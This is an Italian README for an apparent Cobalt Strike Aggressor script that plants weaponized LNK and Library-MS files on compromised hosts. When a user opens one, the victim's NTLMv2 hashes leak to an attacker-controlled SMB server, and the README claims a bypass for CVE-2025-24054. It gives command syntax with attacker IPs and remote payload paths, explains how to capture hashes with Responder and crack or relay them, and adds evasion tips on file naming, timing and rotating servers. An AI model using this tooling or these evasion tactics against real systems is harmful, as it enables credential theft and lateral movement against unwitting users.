LNK Weaponizer - Script Aggressor per Cobalt Strike
Uno script Aggressor completo per Cobalt Strike che weaponizza ed esegue file LNK e Library-MS dannosi per la divulgazione di hash NTLMv2-SSP tramite SMB. Include tecniche di bypass per CVE-2025-24054.
⚠️ DISCLAIMER
Questo strumento è solo a scopo educativo e di ricerca. L'autore non si assume alcuna responsabilità per l'uso improprio di questo codice. Utilizzalo solo su sistemi di tua proprietà o per cui hai esplicita autorizzazione a testare.
Acquisizione di hash NTLM
Questo script genera file .lnk e .library-ms weaponizzati che, all'apertura, attivano l'autenticazione SMB verso l'host dell'operatore.
Gli hash NTLMv2 divulgati non vengono mostrati in Cobalt Strike, ma devono essere catturati con strumenti esterni come Responder, ntlmrelayx.py di Impacket o Inveigh in esecuzione sul sistema attaccante.
Una volta raccolti, gli hash possono essere decifrati con Hashcat o inoltrati per ulteriori movimenti laterali.
🎯 Funzionalità
- Weaponizzazione di file LNK: Crea collegamenti dannosi per l'acquisizione di hash NTLM
- Creazione di file Library-MS: Implementa la tecnica di bypass CVE-2025-24054
- Integrazione nel menu contestuale: Accesso facile tramite il menu contestuale del beacon di Cobalt Strike
- Interfaccia a riga di comando: Comandi diretti per automazione e scripting
- Finestre di dialogo interattive: Input intuitivo dei parametri
- Distribuzione rapida: Impostazioni preconfigurate per un deployment veloce
- Configurazione globale: Personalizzazione semplice delle impostazioni predefinite
📁 Struttura del progetto
cobalt-strike-aggressor/
├── lnk_weaponizer.cna # Script Aggressor principale (v2.0)
├── standalone_lnk_weaponizer.ps1 # Versione PowerShell standalone
├── README.md # Questa documentazione
├── INSTALL.md # Guida all'installazione e configurazione
└── examples/
├── usage_scenarios.md # Esempi pratici di utilizzo
└── sample_targets.csv # File di esempio per operazioni batch
🚀 Installazione
- Copia
lnk_weaponizer.cna nella directory degli script Aggressor di Cobalt Strike
- Carica lo script in Cobalt Strike:
- Vai su
Cobalt Strike → Script Manager
- Clicca
Load e seleziona lnk_weaponizer.cna
- Lo script si inizializzerà automaticamente e mostrerà i comandi disponibili.
📖 Utilizzo
Fai clic con il tasto destro su qualsiasi beacon in Cobalt Strike per accedere a:
- Create LNK File: Finestra di dialogo interattiva per la creazione di LNK personalizzati
- Create Library-MS File: Finestra di dialogo interattiva per la creazione di Library-MS (bypass CVE-2025-24054)
- Quick LNK (Default Settings): Distribuzione rapida di LNK con valori predefiniti
- Quick Library-MS (Default Settings): Distribuzione rapida di Library-MS con valori predefiniti
Comandi da riga di comando
Comandi per file LNK
# Crea un file LNK con parametri personalizzati
lnk_create <percorso> <ip> <condivisione> <file>
# Esempio
lnk_create C:\Temp 192.168.1.10 share payload.exe
Comandi per file Library-MS
# Crea un file Library-MS con parametri personalizzati
library_create <percorso> <ip> <condivisione>
# Esempio
library_create C:\Temp 10.10.14.22 share
Comandi rapidi
# Utilizza le impostazioni predefinite
lnk_quick
library_quick
# Mostra aiuto
lnk_help
🔧 Configurazione
Impostazioni predefinite
Lo script utilizza questi valori predefiniti configurabili:
- IP:
192.168.1.10
- Condivisione:
share
- Percorso:
C:\Temp
Personalizzazione dei valori predefiniti
Modifica le variabili globali in lnk_weaponizer.cna:
global('$default_ip $default_share $default_path');
$default_ip = "192.168.1.10";
$default_share = "share";
$default_path = "C:\\Temp";
🎯 Come funziona
Tecnica del file LNK
- Generazione dello script PowerShell: Crea uno script PowerShell che genera il file LNK dannoso
- Creazione del file LNK: Utilizza l'oggetto COM Shell di Windows per creare un collegamento che punta a una posizione SMB remota
- Attivazione dell'icona: Forza Explorer a recuperare l'icona PE dal binario remoto, attivando l'autenticazione NTLM
- Acquisizione dell'hash: L'hash NTLMv2-SSP viene catturato quando l'utente interagisce con il file
Tecnica del file Library-MS (bypass CVE-2025-24054)
- Generazione XML: Crea un file XML Library-MS con un riferimento a percorso UNC
- Creazione del file: Genera il file
.library-ms nella directory di destinazione
- Interazione dell'utente: Quando l'utente fa doppio clic sul file Library-MS, Windows tenta di accedere al percorso UNC
- Attivazione dell'autenticazione: L'autenticazione SMB viene attivata, catturando l'hash NTLM
Dettagli tecnici
Entrambe le tecniche creano file che:
- Puntano a posizioni SMB remote
- Attivano l'autenticazione quando vengono aperti
- Bypassano i controlli di sicurezza comuni
- Garantiscono un'acquisizione affidabile degli hash
Lo script fornisce log dettagliati:
[+] Creazione del file LNK su TARGET-COMPUTER
[+] UNC di destinazione: \\192.168.1.10\share\payload.exe
[+] Percorso locale: C:\Temp
[+] Weaponizzazione LNK completata
[!] Attendi che l'utente faccia clic sul file LNK per catturare l'hash NTLM
🛡️ Considerazioni sulla sicurezza
Evitare il rilevamento
- Utilizza nomi di condivisione e percorsi dall'aspetto legittimo
- Considera la tempistica della distribuzione per evitare il rilevamento
- Monitora gli avvisi degli strumenti di sicurezza
- La tecnica Library-MS offre ulteriore elusione
Sicurezza operativa
- Utilizza server SMB dedicati per la raccolta degli hash
- Implementa una corretta registrazione e monitoraggio
- Segui le procedure del team red della tua organizzazione
- Documenta tutte le attività di test
- Assicurati di avere l'autorizzazione appropriata prima di testare
- Documenta tutte le attività di test
- Rispetta ambito e limiti
🔍 Risoluzione dei problemi
Problemi comuni
-
Beacon non trovato
- Assicurati che il computer di destinazione abbia un beacon attivo
- Controlla l'ortografia del nome del computer nelle operazioni batch
-
Permesso negato
- Verifica i permessi di scrittura sul percorso di destinazione
- Controlla le impostazioni UAC sul sistema di destinazione
-
Criteri di esecuzione di PowerShell
- Lo script utilizza
bpowershell() per gestire le restrizioni
- Assicurati che PowerShell sia disponibile sulla destinazione
Modalità debug
Abilita l'output verbose modificando lo script:
# Aggiungi logging di debug
blog($bid, "[DEBUG] Esecuzione comando: " . $command);
📝 Esempi
Scenario 1: Distribuzione di file LNK
# Crea un file LNK su un target specifico
lnk_create C:\Users\Public\Desktop 10.0.0.5 public malware.exe
Scenario 2: Bypass con Library-MS
# Crea un file Library-MS per il bypass di CVE-2025-24054
library_create C:\Users\Public\Desktop 192.168.1.100 share
Scenario 3: Attacco rapido
# Utilizza le impostazioni predefinite per una distribuzione rapida
lnk_quick
library_quick
🔬 Tecniche avanzate
Bypass CVE-2025-24054
La tecnica Library-MS implementa un bypass per CVE-2025-24054:
- Utilizza il formato file Library-MS invece dei tradizionali file LNK
- Sfrutta il sistema di Windows Library per attivare l'autenticazione
- Fornisce capacità di elusione aggiuntive
Strategie di elusione
- Denominazione dei file: Usa nomi ed estensioni realistici
- Selezione del percorso: Distribuisci in directory utente comuni
- Tempistica: Esegui durante l'orario lavorativo normale
- Rotazione: Varia gli IP del server SMB e i nomi delle condivisioni
🤝 Contributi
- Fai un fork del repository
- Crea un branch per la funzionalità
- Apporta le modifiche
- Testa a fondo
- Invia una pull request
📄 Licenza
Questo progetto è fornito così com'è per scopi educativi. Utilizzalo in modo responsabile e in conformità con le leggi e i regolamenti applicabili.
🙏 Riconoscimenti
- Il team di Cobalt Strike per il framework Aggressor
- La community red team per test e feedback
- I ricercatori di sicurezza che hanno aperto la strada agli attacchi basati su LNK
- I contributori alla ricerca su CVE-2025-24054
Ricorda: ottieni sempre l'autorizzazione appropriata prima di testare su qualsiasi sistema.